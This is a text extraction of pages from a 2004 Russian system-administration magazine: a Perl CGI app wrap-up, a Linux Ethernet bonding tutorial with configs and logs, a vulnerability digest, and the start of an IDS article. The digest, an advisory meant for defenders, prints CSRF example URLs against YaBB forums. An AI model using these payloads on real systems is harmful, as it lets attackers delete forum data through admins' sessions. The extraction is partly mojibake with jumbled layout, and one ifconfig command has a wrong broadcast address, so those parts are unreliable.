
Прочие модулиПоскольку другие модули ничего нового и интересного всебе не содержат, отличаясь от приведенного лишь имена-ми и количеством полей, а также некоторыми интерфейс-ными особенностями, то и тратить время на их рассмотре-ние не будем. Добавив соответствующую запись в таблицуst_modules, вы сделаете новый модуль доступным для ра-боты.

Что можно изменить?Как известно, нет предела совершенству. Рассмотренныйздесь пример был очень сильно урезан и упрощен, чтобыза деталями не потерялась суть и чтобы уложиться в рамкижурнальной статьи. Однако, разрабатывая реальное при-ложение, имеет смысл сделать некоторые улучшения.

Например, «шаблонность» нашего приложения остав-ляет желать лучшего. Каждый добавляемый модуль в прин-ципе имеет очень схожую структуру и функциональность.То есть можно разработать один модуль-шаблон и настра-ивать его под конкретные таблицы и поля автоматически впроцессе обращения к конкретной функции.

Можно сделать более гибкой систему разграничения до-ступа, помимо пользователей введя понятие групп пользо-вателей, а также разграничивая права пользователей в пре-делах одного модуля (полный доступ, только чтение).

Механизм сессий используется очень слабо. Например,его можно использовать для передачи таких параметровкак идентификатор пользователя (uid), вместо того чтобыделать это с помощью скрытых полей формы. Не совсемудобной выглядит необходимость в каждом модуле зада-вать логин и пароль для подключения к БД. Выносить это вмодуль My::Insite неправильно (иначе будут сложности сиспользованием данного модуля в других приложениях дляподключения к другим базам), а вот сделать что-то типаконфигурационного файла и брать нужные данные оттудабыло бы намного лучше, поскольку в случае смены имениили пароля корректировка потребуется только в одном ме-сте. В существенном улучшении нуждается проверка кор-ректности вводимых данных, контроль ошибок, и т. д. В ре-альной жизни этим, конечно же, пренебрегать нельзя.

И вообще, можно сделать более удобный и красивыйдизайн, добавить страничкам «динамизм» с помощьюJavaScript (например, всплывающие подсказки, предупреж-дения и т. п.) и много еще чего хорошего и полезного.

ЗаключениеНу что ж. Надеюсь, полученный результат хотя бы частич-но соответствует нашим ожиданиям, несмотря на множе-ство недоработок, оставленных «за бортом». Мы получи-ли гибкое, легко модифицируемое приложение, соответ-ствующее большинству наших требований. В будущем егобез труда можно расширить, добавив, например, модульдля работы с жалобами абонентов, для сбора статистикипо потребленному трафику и оплатам и т. д. Единствен-ное, чего мне в данный момент не хватает, это красивыхотчетов, которые не стыдно было бы распечатать, сохра-нить в файл, отправить по электронной почте. Эта задачатоже решается довольно просто. Но об этом – в следую-щей статье.

__HTML__exit;

}sub changeUser { # çàïèñü èçìåíåíèé â ÁÄ

$type = $cgi->param('type');$uid = $cgi->param('uid');$name = $cgi->param('name');$address = $cgi->param('address');$phone = $cgi->param('phone');if($type eq 'add') { $res = $dbh->do(' INSERT INTO users(name, address, phone)

VALUES(?, ?, ?);', undef, $name, $address, $phone);} elsif($type eq 'delete') { $res = $dbh->do('DELETE FROM users WHERE uid=?;', ↵↵↵↵↵

undef, $uid);} elsif($type eq 'update') { $res = $dbh->do(' UPDATE users SET name=?, address=?, phone=? WHERE uid=?;

', undef, $name, $address, $phone, $uid);} else { print 'Îøèáêà îïåðàöèè: '.$type; }if($res) { print 'Îïåðàöèÿ âûïîëíåíà óñïåøíî. '};print '<BR><A href="?action=">Ïðîäîëæèòü...</A>';exit;

}sub toLogon {

print $cgi->header;print '<META http-equiv="refresh" ↵↵↵↵↵

content="1;url=adsl.cgi?account=logon">';print 'Îøèáêà âõîäà. Ïåðåíàïðàâëåíèå...';exit;

}

Page 56: 023 Системный Администратор 10 2004

54

сети

Года два назад, просматривая одну электронную доскуобъявлений в разделе б/у сетевого оборудования, я наткнул-ся на заметку о продаже 16-портового коммутатора «SwitchSurecom EP-716X c поддержкой виртуальной сети и транкана базе портов» плюс прочие документированные возмож-ности. Цена была низкой, а желание повозиться с настрой-ками велико. Поэтому я поспешил приобрести его.

Ситуация на рынке год от года не меняется, скоростипередачи данных неизменно растут, выходят новые версиии т. д. Несмотря на рост скоростей в сетях с выделеннымсервером, узким местом все равно остаётся точка соеди-нения сервера с локальной сетью. Если взять наиболеечасто используемый вариант, то используется сеть FastEthernet и сетевые адаптеры с пропускной способностью100 Мбит/с. В результате если к серверу обращается одно-временно 20 компьютеров, то пропускная способность па-дает до 5 Мбит/c, а за вычетом служебной информации ре-альная пропускная способность оказывается ещё меньше.Выход из данной ситуации может быть только один – уве-личивать пропускную способность со стороны сервера. Еслина сервере в качестве делимого взять не 100, а 1000 Мбит/c,то в теории средняя скорость передачи на один компьютердолжна увеличиться в 10 раз. Характеристики повсемест-но продаваемого сетевого оборудования указывают на тотфакт, что развитие идёт именно в этом направлении. Од-нако на данном пути есть несколько препятствий, не позво-ляющих делать переход массовым и незаметным.

НА ПУТИ ПОВЫШЕНИЯ НАДЁЖНОСТИИ СКОРОСТИ: LINUX BONDING

ПАВЕЛ ЗАКЛЯКОВ

– Bond?....James Bond?– No, Linux Bonding.

В данной статье описывается частный случай объединения двух каналов Ethernet в одинc помощью Linux bonding (на базе Red Hat v.7.3) как с целью повышения пропускнойспособности, так и надёжности сетевого соединения.

Ðèñóíîê 1. Ôîòîãðàôèÿ êîììóòàòîðà Surecom EP-716X

Первый недостаток – необходимость покупки дорогихкоммутаторов с поддержкой нескольких или одного портапо стандарту IEEE 802.3ab (1000Base-T). При этом старыйкоммутатор оказывается не у дел.

Второй недостаток – необходимость замены кабельнойинфраструктуры. Кабели повсеместно используемых насегодня категорий 5 и 5e не подойдут по полосе пропуска-ния, соответственно их придётся также менять.

Третий недостаток – сочетание сетевых карт стандартаIEEE 802.3ab (1000Base-T) и шины PCI. С некоторой натяж-кой можно считать, что цена данных устройств относитель-но невелика. А вот пропускная способность шины PCI 2.0может оказаться для нас недостаточной: 33 МГц ∗ 32 бита =1056 Мбит/c [1]. Хотя, 1056 > 1000 следует понимать, чторазличные накладные расходы, особенно для карт стоимо-стью менее $25, приведут к тому, что реальная пропускнаяспособность окажется ниже 1000 Мбит/c. При большой заг-рузке сети это приведёт к тому, что буфер не будет успе-вать обрабатываться, возникнут потери пакетов. Как след-ствие – повторная передача и ещё большее снижение про-пускной способности. Также не следует упускать из виду,что многие серверы часто имеют не одну сетевую карту, анесколько.

Если согласно спецификации PCI 2.1 (и выше) вмес-то тактовой частоты шины в 33 МГц использовать 66 МГц,то подобных эффектов удастся избежать, однако в этомслучае возможны проблемы c другим оборудованием, неподдерживающим частоту шины 66 МГц. ИспользованиеPCI-X или 64-разрядной шины PCI (даже при тактовой ча-стоте 32 МГц) решает проблему технически, но часто де-лает её финансово непосильной. Материнские платы споддержкой 64-разрядной шины PCI уже относятся к сер-верному классу и стоят соответствующе. «Склепать де-шёвый сервер на коленке» не получится.

Единственный недорогой выход для данной ситуации –это использование нескольких обычных сетевых карт. Зат-раты при этом минимальны: $5 + один вечер и результатусилий (удвоение пропускной способности) налицо. По это-му пути я и пошёл.

Первое, что мне бросилось в глаза в описании, – этобыла фраза: «Support Port-Base Trunking», интуитивно по-няв, что это то, что мне нужно, я залез на веб-страницунастройки и выставил одну транкинговую группу из 1-го и9-го портов.

Page 57: 023 Системный Администратор 10 2004

55№10(23), октябрь 2004

сети

После компиляции ядра я зашёл в директорию, где на-ходится исходный файл ifenslave.с:

и скомпилировал из него утилиту ifenslave (которая «под-ключает» к общему интерфейсу bond0(bond1, ...) другиеподчинённые интерфейсы) командой:

Получившийся файл я скопировал в директорию /sbin:

Для организации работы с модулем и передачи ему па-раметров необходимо добавить следующие строчки в файл/etc/modules.conf:

Параметры, естественно, можно задать другие, но обэтом чуть позже. Чтобы было удобно воспользоваться стан-дартной командой:

а не вводить каждый раз параметры вручную через ifconfig,следует создать следующие файлы (либо внести в них из-менения, если файлы уже имеются):

На случай, если ваша система будет себя вести иначе,чем Red Hat v.7.3 и ему подобные, например, откажется по-нимать параметр SLAVE и не «привяжет» интерфейсы eth0и eth1 в качестве подчинённых к bond0, это можно сделатьруками с помощью следующих команд:

Ðèñóíîê 2. Ïîðòû 1 è 9 íàõîäÿòñÿ â ðåæèìå port trunking(По непонятным для меня причинам, настройку транкин-

га портов с помощью протокола telnet разработчики поче-му-то не сделали.) Далее я установил вторую карточку накомпьютер, подключаемый к коммутатору в качестве сер-вера, соединил всё хозяйство патчкордами, и в результатеу меня получилась следующая схема соединений.

Понимая, что само по себе железо работать не будет, язанялся поисками литературы и настройкой программногообеспечения. Основным документом, который частично по-мог мне разобраться с проблемой, оказался Linux EthernetBonding Driver mini-howto из комплектации ядра(v.2.4.27), на-ходящийся по следующему пути: /usr/src/linux/Documentation/networking/bonding.txt. В сети этот документ можно найтипо адресу [2]. Желая иметь монолитное ядро, я отказалсяот рекомендаций компилировать Linux bonding в виде мо-дуля. Всё бы хорошо, но объединение каналов почему-тоне работало как надо. При отключении кабелей от сетевыхинтерфейсов ядро Linux продолжало думать, что всё в по-рядке. Убедившись в правильности совета, я скомпилиро-вал ядро повторно, выбрав «Bonding driver support» в каче-стве модуля в разделе «Network device support».

Ðèñóíîê 3. Ñõåìà ñîåäèíåíèé

Ðèñóíîê 4. Âûáîð «Bonding driver support» â êà÷åñòâå ìîäóëÿ

# cd /usr/src/linux/Documentation/networking

# gcc -Wall -Wstrict-prototypes -O ↵↵↵↵↵-I/usr/src/linux/include ifenslave.c -o ifenslave

# cp ifenslave /sbin/ifenslave

alias bond0 bondingoptions bond0 miimon=100 mode=0 downdelay=2000 updelay=5000

/etc/rc.d/init.d/network (start|stop|restart...)

/etc/sysconfig/network-scripts/ifcfg-bond0DEVICE=bond0IPADDR=192.168.0.1NETMASK=255.255.255.0NETWORK=192.168.0.0BROADCAST=192.168.0.255ONBOOT=yesBOOTPROTO=noneUSERCTL=no/etc/sysconfig/network-scripts/ifcfg-eth0DEVICE=eth0USERCTL=noONBOOT=yesMASTER=bond0SLAVE=yesBOOTPROTO=none/etc/sysconfig/network-scripts/ifcfg-eth1DEVICE=eth1USERCTL=noONBOOT=yesMASTER=bond0SLAVE=yesBOOTPROTO=none

# /sbin/ifconfig bond0 192.168.0.1 ↵↵↵↵↵netmask 255.255.255.0 broadcast 192.18.0.255 up

# /sbin/ifenslave bond0 eth0

Page 58: 023 Системный Администратор 10 2004

56

сети

В случае возникновения проблем с настройкой нестан-дартных конфигураций рекомендую обратиться к первоис-точнику [2].

Теория. О режимах работыСмысл организации объединённых каналов обычно оченьпрост: либо нужно повышение пропускной способности,либо увеличение надёжности, либо и то, и другое вместе.Несмотря на то, что идеология построения объединённыхканалов относительно прозрачна, существует несколькоразличных режимов совместной работы.! Round robin, rr, 0. Круговой, основанный на последова-

тельном использовании подчинённых интерфейсов дляпередачи через них пакетов в том порядке, как они былиподключены. В этом режиме интерфейсы наиболее рав-номерно загружены.

! XOR, 2. Режим, в котором подчинённый интерфейс дляпередачи конкретного пакета выбирается по формуле«(src hw addr XOR dst hw addr) % slave», где «src hw addr»и «dst hw addr» есть MAC-адреса отправителя и получа-теля, приведённые к целочисленному виду, а slave – чис-ло работающих подчинённых интерфейсов. Определе-ние интерфейса для отправки пакетов напрямую зави-сит от адреса получателя. При такой схеме выбора про-исходит примерно равномерное распределение оппо-нентов информационного обмена по интерфейсам с их«виртуальной» взаимной привязкой друг к другу.

! Active-backup, 1. Режим горячей замены. В каждый мо-мент времени работает только один интерфейс. Еслирабочий канал выходит из строя, то начинает использо-ваться какой-либо один резервный интерфейс (из со-подчинённых главному) взамен «отказавшего». Данныйрежим используется в основном в системах повышен-ной надёжности.

Диагностика: «жив ли link?»Когда все связи активны и система работает, как это отнеё ожидается, может сложиться впечатление, что диагно-стика не нужна. Однако не используя её постоянно в рабо-чем режиме, сложно поймать тот момент, когда что-то пе-рестало работать. Соответственно, можно пропустить мгно-вение, когда нужно начать более активно использовать дру-гие соподчинённые интерфейсы, полностью отказавшисьот сломанного. Если этого не сделать вовремя, то будетбольшой процент потерь пакетов, далее увеличение числаповторных передач и как следствие падение пропускнойспособности ниже, чем если бы работал только один ин-терфейс без настройки всяких linux bonding.

Существует два способа диагностирования (мониторин-га) связанности:! с помощью статуса Media Independent Interface (MII);! c помощью ARP-запросов и ответов.

Несмотря на то что теоретически эти способы можноиспользовать вместе, на практике они не совмещаются. Ви-димо, разработчики этой части ядра сочли такую функцио-нальность излишней. Расмотрим эти способы подробнее.

В первом случае небольшая схема на сетевой плате иличасть основной микросхемы отслеживают состояние подклю-ченности и режима работы сети. Какая скорость – 10 или100 Мбит/c? Полный ли дуплекс? Есть ли связь вообще илинет? Эти данные с сетевой платы можно снимать и исполь-зовать в благих целях. Для применения этого режима диаг-ностики ваша карта должна поддерживать функцию мони-торинга MII-статуса, и эта функция должна быть включена.Часть ядра, отвечающая за bonding, исходя из этой инфор-мации, может принимать решение о целесообразности ис-пользования того или иного сетевого интерфейса для пере-дачи данных. Дополнительно можно настроить периодич-ность, с которой осуществляется проверка. Рекомендуетсяиспользовать значение в 100 мс. Сильно уменьшать времяне следует, так как это будет в значительной мере загру-жать систему. Увеличивать тоже особого смысла нет – мо-жет привести к росту числа повторных передач пакетов.

Второй способ более медленный, зато более надёжныйи может работать с древними сетевыми картами, не под-держивающими мониторинг на основе MII-статуса.

Для этого способа используется какой-либо отдельныйIP-адрес рабочего компьютера или адрес шлюза, которыевсегда должны быть в сети в рабочем состоянии. Периоди-чески на этот адрес посылаются ARP-запросы, на которыесогласно требованиям, предъявляемым к хостам [5], долж-ны отсылаться ARP-ответы. Если вдруг запросы пересталиуходить или перестали приходить ответы – значит пропаласвязанность и канал следует исключить из использованияво избежание потери пакетов. Простой пример конфигура-ции сети, где этот метод сработает лучше, чем мониторингMII-статуса, представлен на рисунке 5. Например, во вре-мя переезда внутри здания некоторое устройство, ранеесообщавшееся с сервером Linux напрямую двумя канала-ми Ethernet, оказалось сильно отнесено (более чем на 180метров). Благодаря особенностям организации сети,Ethernet стало невозможным использование столь длинно-го сегмента без ретрансляторов, в результате чего былопринято решение о применении двух коммутаторов посе-редине с целью обеспечения связи устройства с сервером.Сервер как работал в режиме объединения каналов с ди-агностикой в виде мониторинга MII-статуса, так и продол-жает работать. Теперь, если произойдёт сбой на участке,отмеченном красным крестиком (между коммутатором 1 иустройством) (см. рис. 5), сервер об этом не узнает. Так каксвязь на участке «eth0 – коммутатор 1» есть, сервер будетпродолжать посылать по данному каналу пакеты, которыебудут успешно теряться на коммутаторе.

Если в данной схеме использовать мониторинг по ARP-запросам и ответам, то, не получив ответа от устройства,сервер поймёт, что связность в этом направлении наруше-на и откажется от использования испорченного канала.

Ðèñóíîê 5. Ïðèìåð, ãäå ìîíèòîðèíã MII ñòàòóñà íåïðèìåíèì

# /sbin/ifenslave bond0 eth1

Page 59: 023 Системный Администратор 10 2004

57№10(23), октябрь 2004

сети

Параметры, передаваемые модулюЧуть выше без пояснений были выбраны следующие пара-метры: miimon=100 mode=0 downdelay=2000 updelay=5000.Давайте рассмотрим более подробно эти и другие парамет-ры, с помощью которых можно менять режим работы.

modeПараметр, выбирающий режим работы, возможные значения:0,1,2 для Round robin, XOR, active backup соответственно.

miimonЧисло мс (тип integer) – как часто производится монито-ринг MII статуса. 0 – мониторинг отключен. Рекомендуемоезначение 100 мс.

downdelayЗадержка в мс (тип integer) с того момента, как было обна-ружено, что связь пропала, до того, как данный канал пе-рестанет использоваться. Задержка нужна, чтобы отфиль-тровывать кратковременные сбои. Например, после пере-ключения патчкорда в течение нескольких секунд совсемне обязательно терять связь на минуту или больше. По умол-чанию используется 0 – нет задержки.

updelayТо же самое, что и downdelay, но определяющее задержкупо включению, на тот случай, если какой-нибудь switch илиhub «не до конца включились». Напряжение на порт пода-но, а пакеты ещё корректно не принимаются. Если в этотмомент передать данные – они потеряются, а если немногоподождать, то этого не случится.

arp_intervalС какой периодичностью в мс (тип integer) осуществлятьARP-мониторинг. Значение 0 означает что ARP-мониторингвыключен.

arp_ip_targetIP-адрес, по которому осуществлять ARP-мониторинг (в слу-чае если arp_interval>0). Если с данного адреса нет ARP-ответов, то значит канал, по которому посылались запро-сы, не работает.

Linux bonding на практикеКак оказалось, практика расходится с теорией, и не всё уменя работало так, как хотелось. Проводимые испытания ирезультаты были следующими:

Была создана схема, указанная на рисунке 3, все связив ней целые.

Пакеты проходят нормально. Отсоединяем сетевой шнурот eth0, и в /var/log/messages появляются строки:

cat /proc/net/bonding/bond0 выводит:

далее вставляем кабель обратно и наблюдаем в /var/log/messages появление строк:

/proc/net/bonding/bond0 соответственно для eth0 отобра-жает:

Повторим тест, но на этот раз отсоединяем кабель от eth1.По идее должно быть всё то же самое, но, увы. С 192.168.0.1ICMP-запросы уходят и доходят до 192.168.0.5, далее на нихотсылается ответ, о чём свидетельствует tcpdump, запущен-ный на обеих машинах, а вот до 192.168.0.1 ответы уже недоходят, теряясь где-то внутри коммутатора. Через некото-рое время устаревает arp-таблица, и пакеты вообще пере-стают уходить.

Переставляем патчкорды на коммутаторе местами и по-вторяем ситуацию, ситуация с eth0 и eth1 меняется такжеместами, из чего делаем вывод о плохой работоспособнос-ти конкретного экземпляра Switch Surecom EP-716X. Какрезультат тоже неплохо.

Попытки найти прошивку новее, чем v.1.3, как и выйтина контакт с кем-то из техподдержки Surecom, не увенча-лись успехом.

Однако это ещё не конец статьи. Мной было замечено,что если два кабеля от eth0 и eth1 воткнуть в обычные пор-ты этого или любого другого коммутатора либо отключитьport trunking у экземпляра выше, то объединение каналовработает, но с небольшими оговорками.

В [2] рассмотрен такой случай, когда используется не-сколько коммутаторов или один без поддержки port trunking,однако там используется режим повышенной надёжности,и одна из карточек стоит в горячем резерве (Active backup,mode=1). При этом в одно и то же время обе карточки неработают, чтобы не смущать коммутатор своими одинако-выми MAC-адресами. Точнее, на одной из них установленфлаг NOARP. И, естественно, ни о каком увеличении про-пускной способности в 2 раза речь не идёт.

Испытания на обычном коммутаторе показали следую-щую картину. Пакеты посылаются по обоим интерфейсампоочерёдно. Обратно приходят также на два интерфейсавразнобой. Выдвигаю гипотезу, что приходящий пакет ком-мутатором посылается на последний работавший интер-

Çàïóñêàåì íà 192.168.0.5: tcpdump icmpÇàïóñêàåì íà 192.168.0.1: ping 192.168.0.2 -I bond0Çàïóñêàåì íà 192.168.0.1 íà äðóãîé êîíñîëè: tcpdump icmp

Sep 22 17:55:19 LINUX2 kernel: bonding: bond0: link status down

for idle interface eth0, disabling it in 2000 ms.

Sep 22 17:55:21 LINUX2 kernel: bonding: bond0: link status definitely

down for interface eth0, disabling it

Bonding Mode: load balancing (round-robin)

MII Status: up

MII Polling Interval (ms): 100

Up Delay (ms): 5000

Down Delay (ms): 2000

Slave Interface: eth0

MII Status: down

Link Failure Count: 1

Permanent HW addr: 00:50:22:e1:9e:3e

Slave Interface: eth1

MII Status: up

Link Failure Count: 0

Permanent HW addr: 00:02:44:8b:c9:c1

Sep 22 18:03:23 LINUX2 kernel: eth0: link up, 100Mbps, full-duplex,

lpa 0x45E1

Sep 22 18:03:23 LINUX2 kernel: bonding: bond0: link status up

for interface eth0, enabling it in 5000 ms.

Sep 22 18:03:28 LINUX2 kernel: bonding: bond0: link status definitely up

for interface eth0

MII Status: up

Page 60: 023 Системный Администратор 10 2004

58

сети

фейс. Если отключить один провод от сетевой карты, тотри исходящих пакета теряются, а далее связь восстанав-ливается. Если отключить провод от другой сетевой карты,ситуация почти аналогична – либо также теряются первыетри исходящих пакета, либо ничего не теряется. Объяснитьэто можно тем, что подчинённые интерфейсы eth0 и eth1не совсем равнозначны для bond0. Чем раньше подчинён-ный интерфейс был подключён к общему, тем выше у негоприоритет. Если отключить самый приоритетный (в объе-динённом канале может быть более двух подчинённых), тороль первенства переходит другому интерфейсу, и тогдатеряется часть пакетов. Если отключить менее приоритет-ный, то всё нормально. Каких-либо дополнительных про-блем мною замечено не было. Возможно, сказалась малень-кая нагрузка моей тестовой сети, состоящей из четырех ком-пьютеров, хотя, думается, что и при большем числе ком-пьютеров всё будет работать так же.

Ещё интересное наблюдение было сделано по резуль-татам анализа tcpdump в разных точках. На 192.168.0.1 былзапущен ping, посылающий раз в секунду ICMP-запросы наадрес 192.168.0.2.

Как легко заметить, исходящие пакеты чередуются свыбором интерфейса. В 52, 54, 56, 58 секунд они уходят синтерфейса eth0, а в 53, 55, 57, 59 – с интерфейса eth1.При этом на интерфейсе bond0 их можно наблюдать вмес-те в 52, 53, 54, 55 и т. д. секунд показывающими, что утили-та ping действительно посылает раз в секунду ICMP-запро-сы. Также забавно то, что на интерфейсе bond0 можно на-блюдать и ICMP-ответы на посланные запросы, в то времякак на интерфейсах eth0 и eth1 их почему-то не видно, хотяони реально приходят. Если включить мониторинг портовна коммутаторе или поставить в разрыв провода мост, тотам видны все пакеты.

Я задал этот вопрос (почему не видны приходящие от-веты на интерфейсах eth0 и eth1) Willy Tarreau <[email protected]>, упомянутому в [2]. Он ответил, что это происхо-дит потому, что модуль bonding работает на очень низкомуровне, ниже того места, где в обычном режиме цепляетсяtcpdump.

Так как со стороны Linux, скорее всего, я настроил всёправильно, то думаю, что проделанная работа кому-нибудьпригодится. Возможно, окажись у меня под рукой другойкоммутатор, всё бы сразу заработало как надо. Если у кого-то объединение портов работает нормально с другим обо-рудованием (поддерживающим port trunking), буду рад обэтом услышать. Также мне интересно узнать, какие могутвозникнуть проблемы с обычными коммутаторами (не под-держивающими объединение портов) и почему у меня онине возникли.

Замечание 1. Никто не мешает организовать нескольконепересекающихся групп объединяемых каналов. При этомнеобходимо загрузить модуль несколько раз, то есть в /etc/modules.conf прописать две или более строчек вместо одной.

Ну и потом, при обращении к каждому модулю (обратитевнимание, что используются разные модули, а не один и тотже под псевдонимами) передать каждому свои параметры.

Замечание 2. Как я понял в процессе написания статьи,терминов, обозначающих объединение каналов, много. Узнать,почему их много и чем они отличаются, мне не удалось. Скла-дывается впечатление, что каждая фирма хочет быть зако-нодателем мод. Всего мне встретилось 5 вариантов:! Aggregate link – в терминологии Intel;! Port trunking – в терминологии D-link, 3Com, Surecom;! Sun Trunking – в терминологии SUN;! EtherChannel – в терминологии CISCO;! Bonding – в терминологии Linux, FreeBSD.

Ещё мне встретился термин «load balancing», но этонемного другое, никакого отношения к объединённым ка-налам не имеет. Сетевые карты не работают в паре на ка-нальном уровне и имеют различные сетевые адреса, приэтом могут быть установлены на разных компьютерах.

Замечание 3. Идя по пути экономии, технологию объе-динения каналов при желании можно использовать дляGigabit Ethernet. Скорее всего, объединять будет выгоднее,чем иметь один канал на 10 Гбит/c.

Литература, ссылки:1. С.Мюллер Модернизация и ремонт ПК, 14-е издание.:

Пер. с англ. – М.: Издательский дом «Вильямс», 2003,стр. 294.

2. Linux Ethernet Bonding Driver mini-howtohttp://www.kernel.org/pub/linux/kernel/people/marcelo/linux-2.4/Documentation/networking/bonding.txt

3. Реализация механизма Cisco Fast EtherChannel дляFreeBSD.http://avdor.irkutsk.ru/faq/article.php?show_id=308

4. Bundling network interfaces with ng_one2manyhttp://unixpages.org/one2many_tut.html, http://bsdvault.net/sections.php?op=viewarticle&artid=98

5. RFC 1127: A Perspective on the Host Requirements RFCsftp://ftp.rfc-editor.org/in-notes/rfc1127.txt

alias bond0 bondingalias bond1 bonding

options bond0 miimon=100options bond1 -o bonding1 miimon=100tcpdump icmp -I eth0 на 192.168.0.1 перехватил следующее:

20:16:52.578951 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

20:16:54.578941 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

20:16:56.578950 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

20:16:58.578947 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

20:17:00.578945 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

tcpdump icmp -I eth1 на 192.168.0.1 перехватил следующее:

20:16:53.578947 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

20:16:55.578954 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

20:16:57.578951 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

20:16:59.578942 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

20:17:01.578948 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

tcpdump icmp -I bond0 на 192.168.0.1 перехватил следующее:

20:16:52.578933 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

20:16:52.579111 192.168.0.2 > 192.168.0.1: icmp: echo reply

20:16:53.578926 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

20:16:53.579106 192.168.0.2 > 192.168.0.1: icmp: echo reply

20:16:54.578921 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

20:16:54.579130 192.168.0.2 > 192.168.0.1: icmp: echo reply

20:16:55.578933 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

20:16:55.579142 192.168.0.2 > 192.168.0.1: icmp: echo reply

20:16:56.578928 192.168.0.1 > 192.168.0.2: icmp: echo request (DF)

20:16:56.579117 192.168.0.2 > 192.168.0.1: icmp: echo reply

...

Page 61: 023 Системный Администратор 10 2004

Обход ограничений и DoS-атака в MySQLПрограмма: MySQL 3.23.Опасность: средняя.Описание: Обнаружено две уязвимости в СУБД MySQL.Удаленный авторизованный пользователь может повыситьсвои привилегии в БД или вызвать отказ в обслуживании.URL производителя: http://www.mysql.com.Решение: Установите обновление: http://www.mysql.com/doc/en/Installing_source_tree.html.

Удаленная перезапись памяти в PHPПрограмма: PHP 5.0.1 и более ранние версии.Опасность: средняя.Описание: Уязвимость обнаружена в PHP, в обработкеMIME-данных. Уязвимость в обработке массивов обнару-жена в SAPI_POST_HANDLER_FUNC() функции в rfc1867.c.Удаленный пользователь может перезаписать элемент мас-сива $_FILES.URL производителя: http://www.php.net.Решение: Исправление доступно через CVS: http://cvs.php.net/php-src/main/rfc1867.c.

Несколько уязвимостейв Microsoft WindowsОпасность: критическая.Описание: Несколько уязвимостей обнаружено в MicrosoftWindows. Злонамеренный пользователь может вызвать от-каз в обслуживании, повысить привилегии или скомпроме-тировать уязвимую систему.

Отсутствие ограничений на нескольких WindowManagement API-функциях позволяют злонамеренной про-грамме изменить свойства других программ, запущенныхс более высокими привилегиями. В результате локальныйпользователь может изменить свойства привилегирован-ного процесса.

Уязвимость в компоненте, используемой для обработ-ки VDM (Virtual DOS Machine) подсистемы, позволяет полу-чить доступ к защищенной памяти ядра. В результате зло-намеренный локальный пользователь может получитьSYSTEM-привилегии через специально обработанную про-грамму.

Переполнение буфера обнаружено в Graphics RenderingEngine при обработке WMF (Windows Metafile) и EMF(Enhanced Metafile) изображений. Злонамеренный пользо-ватель может создать специально обработанное изображе-ние, чтобы скомпрометировать систему целевого пользо-вателя, открывшего это изображение или посетившего зло-намеренный веб-сайт.

Злонамеренный пользователь может вызвать отказ вобслуживании через специально обработанную программу,эксплуатируя уязвимость в Windows-ядре.URL производителя: http://www.Microsoft.com.Решение: Установите соответствующее обновление.

Межсайтовый скриптинг и выполнениеадминистративных действийв форуме YaBBПрограмма: YaBB 1 GOLD SP 1.3.2.Опасность: средняя.Описание: Две уязвимости обнаружены в YaBB. Злонаме-ренный пользователь может выполнить XSS-нападение иобойти некоторые ограничения безопасности.

XSS:

Злонамеренный пользователь может опубликовать со-общение, содержащее изображение, которое ссылается наURL, используемый при выполнении административныхдействий. В результате административное действие будетавтоматически выполнено, когда администратор читаетсообщения форума. Пример:

URL производителя: www.yabbforum.com.Решение: Способов устранения обнаруженной уязвимос-ти не существует в настоящее время.

Составил Александр Антипов

http://[victim]/YaBB.pl?board=;action=imsend;to=[code]

http://[victim]/YaBB.pl?board=;action=modifycat; ↵↵↵↵↵id=[cateogoryname];moda=Remove2

Удаленное выполнениепроизвольного кода в IcecastПрограмма: Icecast 2.0.1 и более ранние версии.Опасность: средняя.Описание: Переполнение обнаружено в Icecast. Удаленныйпользователь может выполнить произвольный код на це-левой системе.

Удаленный пользователь может представить HTTP-зап-рос, содержащий более 32 строк заголовка, чтобы вызватьпереполнение буфера и выполнить произвольный код.Пример: http://aluigi.altervista.org/poc/iceexec.zip.URL производителя: http://www.icecast.org.Решение: Установите обновленную версию программы:http://www.icecast.org/download.php.

Переполнение буфера в обработкеJPEG-изображений в несколькихпродуктах MicrosoftОпасность: критическая.Описание: Уязвимость обнаружена в нескольких продук-тах Microsoft в обработке JPEG-изображений. Злонамерен-ный пользователь может скомпрометировать системупользователя.

Переполнение буфера обнаружено внутри JPEG Parsingкомпоненты (Gdiplus.dll). Злонамеренный пользовательможет сконструировать специально обработанное JPEG-изображение, которое вызовет переполнение буфера припопытке просмотреть это изображение, используя уязви-мую компоненту. Уязвимость может использоваться для вы-полнения произвольного кода на системе пользователя.URL производителя: http://www.microsoft.com/technet/security/bulletin/ms04-028.mspx.Решение: Установите соответствующее обновление.Microsoft также выпустила утилиту, которая позволяет оп-ределить уязвимую компоненту на системе: ht tp://support.microsoft.com/default.aspx?scid=kb;EN-US;873374.

bugtraq

59№10(23), октябрь 2004

Page 62: 023 Системный Администратор 10 2004

60

безопасность

Сегодняшний бизнес тяжело представить без использова-ния Интернет и сетей TCP/IP. Доступ к необходимой инфор-мации с любой точки планеты является несомненным удоб-ством, стоит воспользоваться хоть раз, и уже не представ-ляешь свой бизнес без этого. Но вместе с тем это несет исвои проблемы. Сегодня основную нагрузку по защите се-тей принимают на себя firewall и приложения уровня доме-на, предназначенные для подтверждения подлинности поль-зователей. Несмотря на то что эти приложения в основномсправляются со своей задачей, они не могут полностью ре-шить все проблемы по защите сетей и отдельных хостов. Икак следствие, на помощь приходят системы обнаруженияатак (СОА или Intrusion detection systems – IDS). СОА, ана-лизируя информацию относительно всех контролируемыхдействий, выполненных в компьютерной системе или сети,производят поиск доказательств злонамеренных действий.Проверяемая информация может принимать форму конт-

